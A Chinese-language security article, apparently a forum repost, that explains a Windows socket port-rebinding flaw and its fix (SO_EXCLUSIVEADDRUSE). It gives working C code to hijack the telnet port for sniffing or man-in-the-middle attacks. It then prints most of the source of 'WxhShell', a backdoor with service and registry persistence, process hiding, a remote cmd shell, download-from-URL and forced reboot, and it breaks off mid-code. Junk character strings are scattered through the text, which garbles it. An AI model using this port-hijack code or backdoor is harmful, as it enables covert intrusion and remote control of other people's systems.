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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p5<2t SD s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [aM_.[bf 9Y:JA]U&8 saddr.sin_family = AF_INET; 8'=8!V z7+y{-{Z saddr.sin_addr.s_addr = htonl(INADDR_ANY); !!Tk'=t9"3 Ndj9B|s_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >G`=8Ku ny:c&XS 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \0%)eJ K*uFqdLL! 这意味着什么?意味着可以进行如下的攻击: ZN)a}\] '</ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r!eCfV7 &*TwEN^h 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iE}jilU |]7z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5TlPs_o jEBZ"Jvb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 A8JEig 3Ix ${n=1-SMU 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7&G[mOx0 y6KI.LWR9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l[]K5?AS>- <wwcPe} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zn5 ARYqX\-e #include qX{m7 #include 9WQC\/w #include 5#JGNxO #include L|G!of[8n DWORD WINAPI ClientThread(LPVOID lpParam); [T', ZLR| int main() PezUG{q( { _5Q?]-M WORD wVersionRequested; ~o`I[-g) DWORD ret; 2U,O
e9 WSADATA wsaData; b?h9G3J_a BOOL val; UJkg|eu SOCKADDR_IN saddr; 0 1[LPN SOCKADDR_IN scaddr; $NP5Z0v7 int err; 'pOtd7Vr SOCKET s; WAiEINQ^) SOCKET sc; UD[S>{
int caddsize; +M%i3A HANDLE mt; N$J)Ow DWORD tid; XtfO;` wVersionRequested = MAKEWORD( 2, 2 ); D"fE )@Q@Y err = WSAStartup( wVersionRequested, &wsaData ); s}A)sBsaP3 if ( err != 0 ) {
GqhnE> printf("error!WSAStartup failed!\n"); W5*%n]s~ return -1; V%&t'H{ } j[YzBXd
V saddr.sin_family = AF_INET; C,C%1
-bo2"*|m //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `pY\Mmgv1 (5?5? < saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (A?{6 saddr.sin_port = htons(23); d
-6[\S# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WM BntB { {s|rk printf("error!socket failed!\n"); i](,s. return -1; 9"2.2li5$ } R3F>"(P@tS val = TRUE; L7mN&Xr //SO_REUSEADDR选项就是可以实现端口重绑定的 qVC_K/w
7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,.tT9?
m { 0Mt2Rg} printf("error!setsockopt failed!\n"); I.tJ4 return -1; La?q> } 0CI?[R\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >]Hz-2b //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ws
tI8"> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4NbX!"0 T^NY|Y/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >b,o yM { xBU\$ToC ret=GetLastError(); Jl&bWp^3 printf("error!bind failed!\n"); &KgR;.R^J return -1; ]P$8# HiX } PC/fb-J listen(s,2); sl|s#+Z while(1) !`\W8JT+ { Y\BB;"x1 caddsize = sizeof(scaddr); j>eL&.d //接受连接请求 M$-4.+G sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2 8SlFu? if(sc!=INVALID_SOCKET) hSaS2RLF { 1O45M/5\o mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); - t4"BD if(mt==NULL) [Z,AquCU( {
wxsJB2 printf("Thread Creat Failed!\n"); n=r}jRH1 break; mLk@&WxG } n0U^gsD4J } FFbMG:>: CloseHandle(mt); 51.F,uY } _@;2h`q ? closesocket(s); @iUzRsl WSACleanup(); r4JXbh6Tt return 0; `NXyzT`:K } WRh&4[G' DWORD WINAPI ClientThread(LPVOID lpParam) seHwn'Jn { vKAHf;1 SOCKET ss = (SOCKET)lpParam; oF.Fg<p( SOCKET sc; ,M7sOp6} unsigned char buf[4096]; ce2d)FG}e SOCKADDR_IN saddr; POH>!lHu long num; 'e3y| DWORD val; 8)5n DWORD ret; V==' 7n //如果是隐藏端口应用的话,可以在此处加一些判断 n8[sR;r5f //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 eno*JK saddr.sin_family = AF_INET; ?MKf=!w saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dtA- 4Ndm saddr.sin_port = htons(23); 7b+OIZB if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "1%<IqpU+ { Ez?vJDd printf("error!socket failed!\n"); zIF &ZYP return -1; l]WV?^* } {Hp?rY@ val = 100; 8S]Mf*~S' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^+`vh0TPQ { ~pzaX8! ret = GetLastError(); ?jqZeO#W7 return -1; 4Xz6JJ1U[H } yl 0?Y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $k'f)E { ~|DF-t
V ret = GetLastError(); R%#c~NOO return -1; Xid>8 } W**=X\"' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) LWVO%@)w { q/;mxq$ printf("error!socket connect failed!\n"); "3\RJ?eW:S closesocket(sc); C{!Czz.N closesocket(ss); IE_@:]K}Ja return -1; P* aD2("Z } LrPDpTd while(1) Ku&(+e { FblGFm"P //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o8s&n3mY}y //如果是嗅探内容的话,可以再此处进行内容分析和记录
}rO4b>J //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *s%s|/ num = recv(ss,buf,4096,0); @=;6:akz` if(num>0) ,7j`5iq[m send(sc,buf,num,0); +Og O<P else if(num==0) fLD9RZ8_ break; (XW#,=rYk num = recv(sc,buf,4096,0); Ys<wWfW if(num>0) U!e4_JBR' send(ss,buf,num,0); l w%fY{ else if(num==0) qHKZ5w break; }s)Z:6;(,q } KDXo9FzF closesocket(ss); D>|:f-Z6Z closesocket(sc); s]I],>}RU return 0 ; AoR`/tr, } >|iy= Zn%' @?1%*/ |hdh4P$+| ========================================================== CD[7h ,h>w % 下边附上一个代码,,WXhSHELL sW]n~kTt' 9V"j=1B} ========================================================== q6ikJ8E8b ]Yj>~k:K #include "stdafx.h" !e7vc[N )ld7^G #include <stdio.h> fC-^[Af) #include <string.h> NRl"!FSD;" #include <windows.h> ^s?wnEo;j #include <winsock2.h> ,S5#Kka~a #include <winsvc.h> n;=A'g|Q #include <urlmon.h> ~FsUK;? (]V.#JM #pragma comment (lib, "Ws2_32.lib") ]SPB c #pragma comment (lib, "urlmon.lib") J~}UG]j n OP&[5X+Y #define MAX_USER 100 // 最大客户端连接数 [yyV`& #define BUF_SOCK 200 // sock buffer roA1=G\Q #define KEY_BUFF 255 // 输入 buffer l6WcnJ L,ra=SV F #define REBOOT 0 // 重启 U\
L"\N 7 #define SHUTDOWN 1 // 关机 x L BG}C ~h@tezF #define DEF_PORT 5000 // 监听端口 Z`*cI J#kdyBmuO #define REG_LEN 16 // 注册表键长度 gP<_DEd^` #define SVC_LEN 80 // NT服务名长度 c`+ITNV Z])_E6. // 从dll定义API \PFx#
:-c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IBqY$K+l typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VMWg:=~$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !BX62j\? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
p4t)Z#0 x.yL'J\) // wxhshell配置信息 2{CSH_"Z7 struct WSCFG { (2li:1j int ws_port; // 监听端口 `@M4THt char ws_passstr[REG_LEN]; // 口令 )
b10%n^ int ws_autoins; // 安装标记, 1=yes 0=no /RM-+D:Y char ws_regname[REG_LEN]; // 注册表键名 FT;JYkO char ws_svcname[REG_LEN]; // 服务名 `/zt&=`VB char ws_svcdisp[SVC_LEN]; // 服务显示名 h7$!wf!I char ws_svcdesc[SVC_LEN]; // 服务描述信息 M@ kZ(Rkv char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :#}`uR,D/ int ws_downexe; // 下载执行标记, 1=yes 0=no _);Kb/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" J7GsNFL char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^0Q*o1W )0mDN. }; _w;+Jh E<uOk // default Wxhshell configuration u`@f~QP0 struct WSCFG wscfg={DEF_PORT, H Im,
"iYk "xuhuanlingzhe", 05B+WJ1 1, n*~ "Wxhshell", }yw;L(3 "Wxhshell", *]WXM.R8 "WxhShell Service", Q~JKKq "Wrsky Windows CmdShell Service", sRQh~5kM "Please Input Your Password: ", /zf>>O` 1, JF%=Bc $C " http://www.wrsky.com/wxhshell.exe", gF6j6 "Wxhshell.exe" NCnId}BT }; 5iddB $ r)(BT:2m // 消息定义模块 2j7d$y*' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v8bl-9DQ char *msg_ws_prompt="\n\r? for help\n\r#>"; * g4Cy8$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Treh{s char *msg_ws_ext="\n\rExit."; @O}j:b char *msg_ws_end="\n\rQuit."; 3C=clB9< char *msg_ws_boot="\n\rReboot..."; ~e77w\Q0 char *msg_ws_poff="\n\rShutdown..."; J xm9@, char *msg_ws_down="\n\rSave to "; >B /&V|E A}bHfn| char *msg_ws_err="\n\rErr!"; @:+n6 char *msg_ws_ok="\n\rOK!"; t"/"Ge#a eM=) >zl char ExeFile[MAX_PATH]; *rcuhw"^b# int nUser = 0; w2N3+Tkg HANDLE handles[MAX_USER]; VnSj:LUD int OsIsNt; }&T<wm! 0t COb9 SERVICE_STATUS serviceStatus; %}MA5 t]o SERVICE_STATUS_HANDLE hServiceStatusHandle; w<~<(5mM5; #VdI{IbW // 函数声明 &lPBqw int Install(void); x)VIA] int Uninstall(void); _lPl)8k int DownloadFile(char *sURL, SOCKET wsh); M&djw`B int Boot(int flag); $wYuH9( void HideProc(void); TdP{{&'9 int GetOsVer(void); '!^E92 int Wxhshell(SOCKET wsl); j&[.2PW\ void TalkWithClient(void *cs); >!Ap/{2 int CmdShell(SOCKET sock); p~q_0Pg% int StartFromService(void); ra%R:xX int StartWxhshell(LPSTR lpCmdLine); 85|95P.< -[=AlqL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3W-NS~y VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2&gVZ z Sz|Y$, // 数据结构和表定义 c. TB8Ol SERVICE_TABLE_ENTRY DispatchTable[] = O~#uQm { yxC Ml. {wscfg.ws_svcname, NTServiceMain}, "6E1W,|{ {NULL, NULL} ^\vfos }; W"-EC`nP v$)@AE // 自我安装 xMSNrOc int Install(void) s-GleX< { vfJ3idvo*w char svExeFile[MAX_PATH]; )iEa2uJ HKEY key; 68p\WheCal strcpy(svExeFile,ExeFile); 5mna7BCEb _b!;(~@p // 如果是win9x系统,修改注册表设为自启动 ]Z.<c$ if(!OsIsNt) { a(}VA|l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eg$5z
Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 {O2B5u1 RegCloseKey(key); .*EOVo9S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l&6U|q` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t,=@hs
hN RegCloseKey(key); @ate49W return 0; b`h%W"|2L } oh7#cFZZ0 } 1Lm].tq } aCU7w5 else { r/CEYEJ&X C.yY8?| // 如果是NT以上系统,安装为系统服务 (
}]37 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +A8=R%&b)[ if (schSCManager!=0) ="3a%\ { ?%\mQmjas SC_HANDLE schService = CreateService '2|1%NSW9 ( s{(ehP.Dd schSCManager, F=oHl@ wscfg.ws_svcname, hmK8jl<6 wscfg.ws_svcdisp, :DZLjC SERVICE_ALL_ACCESS, .9T.3yQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tjnt(5 g SERVICE_AUTO_START, 94T}iY. SERVICE_ERROR_NORMAL, D^66p8t svExeFile, jd ["eI NULL, ? .c?Pu NULL, :D"@6PC] NULL, N4I^.k<-A NULL, Bz~ -2#l NULL r_4TtP&UW ); !2GHJHxv]c if (schService!=0) ixOEdQ { ' 2>l CloseServiceHandle(schService); S3R|8?| CloseServiceHandle(schSCManager); X3P&"}a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NNwc!x)* strcat(svExeFile,wscfg.ws_svcname); %lXbCE:[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^4+r*YvcM RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }C=Quy%Z< RegCloseKey(key); (FM4 ^#6 return 0; fucUwf\_ } KuA>"X } |kId8WtA CloseServiceHandle(schSCManager); Af`z/:0< } 6H0W`S0a } 3f_i1|>)' a lrt*V|= return 1;
ir]Mn.(Y } Zotz?jVVr .\$Wy$ d // 自我卸载 >&BrCu[u int Uninstall(void) W3^.5I { *%3oyWwCd HKEY key; Hfke p:B
]Ft if(!OsIsNt) { $)Wb#B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5Yl6? RegDeleteValue(key,wscfg.ws_regname); Gi*<~`Gr RegCloseKey(key); Y =9j2 ]t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NW)M?f+6 RegDeleteValue(key,wscfg.ws_regname); /M:H9Z8! RegCloseKey(key); oB4#J* return 0; ;J'OakeVO } Lj iI+NJ } j$+gq*I&E } aRX else { )U'yUUi sW?B7o? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0vDg8i\ if (schSCManager!=0) l2(.>-# { lcCJ?!lsSW SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3 q"7K if (schService!=0) sYW[O"oNi { U%q:^S%#eG if(DeleteService(schService)!=0) { _-/x;C CloseServiceHandle(schService); %]#VdS|N CloseServiceHandle(schSCManager); Evkt_vvf return 0; Q3,=~}ZNK } tn{8u7 CloseServiceHandle(schService); iD<6t_8), } Mb/L~gd" CloseServiceHandle(schSCManager); v
J-LPTB } g?V&mu } s@s/'^` H*rx{ F? return 1; y:,9I`aW } k}zd'
/b tOM(U-7Z& // 从指定url下载文件 yb?{LL-uy int DownloadFile(char *sURL, SOCKET wsh) 61Bhm:O5W { J\{$ot HRESULT hr; EE]=f=3 char seps[]= "/"; (]XbPW char *token; 87<9V.s2 char *file; ^dfx~C char myURL[MAX_PATH]; xr.XU' char myFILE[MAX_PATH]; qm'b'!gq~ .=XD)>$ strcpy(myURL,sURL); ik5|,#}m& token=strtok(myURL,seps); %2D17*eK while(token!=NULL) j#VIHCzlr { )* TF" file=token; P"F{=\V1`< token=strtok(NULL,seps); M6Pw/S! } sofu Yj|]Uff8O GetCurrentDirectory(MAX_PATH,myFILE); Pz@/|&] strcat(myFILE, "\\"); ]*;F. pZ strcat(myFILE, file); M3(k'q7&: send(wsh,myFILE,strlen(myFILE),0); :6lwO%=F send(wsh,"...",3,0); nU/;2=f< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w^{!U if(hr==S_OK) CCqT tp return 0; /\J|Uj else RtC'v";6 return 1; g19S =nU/ [T. } ]1sNmi$T ^u)rB<#BR // 系统电源模块 xU}M;4kH~ int Boot(int flag) q4ipumy* { RUGv8"j HANDLE hToken; i8~r TOKEN_PRIVILEGES tkp; <m-.aK{9 T2weAk#J if(OsIsNt) { }
`T8A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |RhM| i LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tln1eN((q tkp.PrivilegeCount = 1; ai;\@$ cq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2dbRE:v5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y3IWfiz>/d if(flag==REBOOT) { S~3\3qt$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qn"K9k return 0; Rj6|Y"gq9 } 2P9J'
L else { Y~qb;N\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3z[$4L'. return 0; G7-!`-Nk } "C74 } 4#)6.f~ else { uLV BM]Qj if(flag==REBOOT) { !wh&>3~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G/{
~_&t return 0; lTz6"/ } _x % 1 F else { Q_O*oT(0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DDw'' return 0; 6E^~n } *H2]H@QHN } #jS[ `# ^0cW return 1; h-mTj3p-K } )^/0cQcJ 4~|<`vqN // win9x进程隐藏模块 T+CajSV void HideProc(void) K2ewucn { bQQVj?8jp =2 jhII HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); urZ8j?}c if ( hKernel != NULL ) lG"H4Aa> { <qeCso pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V#^yX% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _T*AC. FreeLibrary(hKernel); o4Q3<T7nI } rFu ez$ xPC"c* return; IZNOWX|Z; } pP.'wSj KoHGweKl# // 获取操作系统版本 Ai kf|)D[ int GetOsVer(void) u"+}I,'L { A3R#z]Ub OSVERSIONINFO winfo; 2{oThef[O winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I}.i@d'O GetVersionEx(&winfo); <P4FzK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OJ3UE(,I= return 1; jk70u[\ else o8S"&O
? return 0; /QxlGfNZ } 8 ws$k\> a!,r46>$H // 客户端句柄模块 (Hp' B))2 int Wxhshell(SOCKET wsl) yyP-=Lhmo= { \b8\Ug~t SOCKET wsh; ht6244: struct sockaddr_in client; -9+se DWORD myID; -x]`DQUg ..qd,9H while(nUser<MAX_USER) *e{PxaF!C { bcz-$?] int nSize=sizeof(client); l] !B#{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xeA#u
J if(wsh==INVALID_SOCKET) return 1; "(TkJbwC[ 63&^BW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !:0v{ZQ if(handles[nUser]==0) 4s.]M>Yb closesocket(wsh); SF<Vds}A2 else 7$uJ7`e nUser++; ")UwkF } @,OT/egF4: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 46x.i;b7 h*l&RR:i return 0; w"zE_9I\ } GDhM<bVqM* uzU{z; // 关闭 socket 0^l%j 8/ void CloseIt(SOCKET wsh) +t!S'|C { R: Z_g!h closesocket(wsh); ukAKFc^)k nUser--; (K{5fC ExitThread(0); R.RSQk7; } dl|gG9u4Q HSz"
tN // 客户端请求句柄 7{M>!}
rY void TalkWithClient(void *cs) m
VxO$A, { 3YL
l;TP_ \vbk#G
hH SOCKET wsh=(SOCKET)cs; :8f[|XR4\N char pwd[SVC_LEN]; xyeA2Y char cmd[KEY_BUFF]; xBM>u,0.F char chr[1]; |D#2GeBw1h int i,j; W<,F28jI3v tY/vL^mi while (nUser < MAX_USER) { ?u$u?j|N 4,P bg| if(wscfg.ws_passstr) {
R= 5** if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n! h7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yi6N-7 //ZeroMemory(pwd,KEY_BUFF); ^Z,q$Gp~P i=0; 963aW*r while(i<SVC_LEN) { &X>7n~@0 1= VJ&D; // 设置超时 FQsUm?ac: fd_set FdRead; Im72Vt:p- struct timeval TimeOut; #%,RJMv FD_ZERO(&FdRead); eVz#7vqv FD_SET(wsh,&FdRead); zqySm)o] TimeOut.tv_sec=8; k5BXirB TimeOut.tv_usec=0; C"V%# K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }F=^O[
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RYR-K^;R 4`v!Z#e/aX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]ya; v ' pwd =chr[0]; %:9oDK if(chr[0]==0xd || chr[0]==0xa) { '0aG
N<c pwd=0; gBw^,)Q{0Y break; i775:j~zx0 } :z"!kzdJ i++; YV'pVO'_+ } x hs#u I[Ic$ta // 如果是非法用户,关闭 socket ^_5|BT@ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )]6hy9< } 1}m3; -yH,5vD send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8;gXg send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B{6<;u)[ @E9" Zv-$ while(1) { K`%tGVY _'0
@%P% ZeroMemory(cmd,KEY_BUFF); wFS2P+e;X (nSml,gU // 自动支持客户端 telnet标准 o @Z# j=0; {<$bAj while(j<KEY_BUFF) { </zXA$m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ??qq: `s cmd[j]=chr[0];
u_O# @eOc if(chr[0]==0xa || chr[0]==0xd) { TV59(bG.2 cmd[j]=0; + =$ break; "eAy^, } ^-)txC5{T j++; G 7LIdn= } \fWW' afEF]i // 下载文件 \Q$HXK if(strstr(cmd,"http://")) { O~Wt600{E send(wsh,msg_ws_down,strlen(msg_ws_down),0); k\r(=cex6 if(DownloadFile(cmd,wsh)) MmTC=/j send(wsh,msg_ws_err,strlen(msg_ws_err),0); (<*e else G'z{b$?/[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "UVFU-Z } xG2+(f#C1 else { +/{L#e> X"MU3] switch(cmd[0]) { s,]%dG! '_P\#7$!MV // 帮助 wBk@F5\< case '?': { v4/-b4ET send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L5YnG_M& break; ,FzeOSy'p } XMN:]!1J // 安装 [V8fu
qE> case 'i': { E6B!+s!] if(Install()) $(pF;_W send(wsh,msg_ws_err,strlen(msg_ws_err),0); d@C&+#QDF else Y.#:HRtgW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;lX(}2tXW break; B@YyQ' } }G <T :(a // 卸载 %(/!ljh_ case 'r': { yL4 T if(Uninstall()) zvc`3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Mj}md;O" else #V02hs1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <+j)P4O4 break; ~ (On|h } g9fq5E<G // 显示 wxhshell 所在路径 5+Mdh` case 'p': { zLw{ {| char svExeFile[MAX_PATH]; L)QE`24 strcpy(svExeFile,"\n\r"); {Rq1HH strcat(svExeFile,ExeFile); Q?t^@ send(wsh,svExeFile,strlen(svExeFile),0); NG&_?|OmV break; tirIgZ } rX7QbAB // 重启 FXdD4 X) case 'b': { aA`/E send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2?C`4AR[2H if(Boot(REBOOT)) <N,)G
|& send(wsh,msg_ws_err,strlen(msg_ws_err),0); nR>r2wMk@ else { ~rr 4ok closesocket(wsh); s^OO^%b ExitThread(0); yqXH:757~ } YT/kC'A break; ^>y@4q B } q-ES6R // 关机 SHb(O<6 case 'd': { mV^Zy send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lOwS&4UT if(Boot(SHUTDOWN)) q*![AzFh send(wsh,msg_ws_err,strlen(msg_ws_err),0); g$:Xuw1 else { Z+`{ 7G?4m closesocket(wsh); 1=7jz]t ExitThread(0); ;< )~Y- } $eV$2p3H break; pCpb;<JG } IPSF]"}~ // 获取shell ajRSMcKb7i case 's': { am_gH CmdShell(wsh); p,pR!qC> closesocket(wsh); ;|p$\26S)% ExitThread(0); l+][V'zL break; dm"n% } :!;'J/B@.. // 退出 >R{qESmP= case 'x': { "1q>At send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {y] mk?j CloseIt(wsh); F["wDO break; !J*,)kRN } H+}"q$ // 离开 ~1m2#> case 'q': { `I$<S(h7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); -"Y{$/B closesocket(wsh); iz(u=/*\ WSACleanup(); Ee1LO#^_6 exit(1); _mS!XF~`P break; Dlo xrdOY& } O?8Ni=] } 1Kvx1p
} yq_LW>|Z 6qe*@o // 提示信息 Z34Wbun4 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aw?=hXR! } 2Nxm@B` { } Uw-p758dD ]Mj/&b>"e return; 6OiSK@<Hk } zJM S=r ?6c-7QV // shell模块句柄 G5dO 3lwq int CmdShell(SOCKET sock) 2M)]!lYy { 9p 4"r^ STARTUPINFO si; '^%~JyU ZeroMemory(&si,sizeof(si)); %8aC1x si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s{ V*1$e~ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *F>v]8 PROCESS_INFORMATION ProcessInfo; zPEg char cmdline[]="cmd"; &Gm$:T'~ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7z\m;
1 return 0; =O _z( } c/L>>t ,1q_pep~?% // 自身启动模式 k^$+n_ int StartFromService(void) nI*/Mhx { 5ep/h5*/ typedef struct J" j.'. { RjJU4q DWORD ExitStatus; 1\RGM<q$f DWORD PebBaseAddress; | W$DVRA DWORD AffinityMask; cN! uV-e DWORD BasePriority; !>x|7
ULONG UniqueProcessId; )f+U~4G& ULONG InheritedFromUniqueProcessId; 53 QfTP } PROCESS_BASIC_INFORMATION; rI5Foh6 IUGz =%[ PROCNTQSIP NtQueryInformationProcess; NRnRMY- ~5ZvOX6L2 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jO9ip static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "SN4* GZ!|}$8 HANDLE hProcess; qP!eJ6[Nh" PROCESS_BASIC_INFORMATION pbi; Jxf~&!zR uBg 8h{> HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^/wfXm if(NULL == hInst ) return 0; 2Zuq?1= p6EDQwlf g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d lH$yub g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 